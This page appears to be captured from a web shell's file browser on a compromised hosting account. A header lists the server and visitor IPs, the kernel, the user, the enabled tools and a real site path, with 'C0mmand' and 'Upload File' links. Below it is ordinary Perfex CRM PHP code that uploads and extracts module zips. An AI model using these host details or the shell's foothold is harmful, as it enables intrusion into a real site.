Server IP : 192.185.129.71 / Your IP : 3.145.81.212 Web Server : Apache System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : svymadmin ( 4072) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/libraries/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php defined('BASEPATH') or exit('No direct script access allowed'); use app\services\zip\Unzip; class App_module_installer { private $ci; public function __construct() { $this->ci = &get_instance(); } /** * Upload module * @return array */ public function from_upload() { if (isset($_FILES['module']) && _perfex_upload_error($_FILES['module']['error'])) { return [ 'error' => _perfex_upload_error($_FILES['file']['error']), 'success' => false, ]; } if (isset($_FILES['module']['name'])) { hooks()->do_action('pre_upload_module', $_FILES['module']); $response = ['success' => false, 'error' => '']; // Get the temp file path $uploadedTmpZipPath = $_FILES['module']['tmp_name']; $unzip = new Unzip(); $moduleTemporaryDir = get_temp_dir() . time() . '/'; try { $unzip->extract($uploadedTmpZipPath, $moduleTemporaryDir); if ($this->check_module($moduleTemporaryDir) === false) { $response['error'] = 'No valid module is found.'; } else { $unzip->extract($uploadedTmpZipPath, APP_MODULES_PATH); hooks()->do_action('module_installed', $_FILES['module']); $response['success'] = true; } $this->clean_up_dir($moduleTemporaryDir); } catch (Exception $e) { $response['error'] = $e->getMessage(); } return $response; } } public function check_module($source) { // Check the folder contains at least 1 valid module. $modules_found = false; $files = get_dir_contents($source); if ($files) { foreach ($files as $file) { if (endsWith($file, '.php')) { $info = $this->ci->app_modules->get_headers($file); if (isset($info['module_name']) && !empty($info['module_name'])) { $modules_found = true; break; } } } } if (!$modules_found) { return false; } return $source; } private function clean_up_dir($source) { delete_files($source); delete_dir($source); } }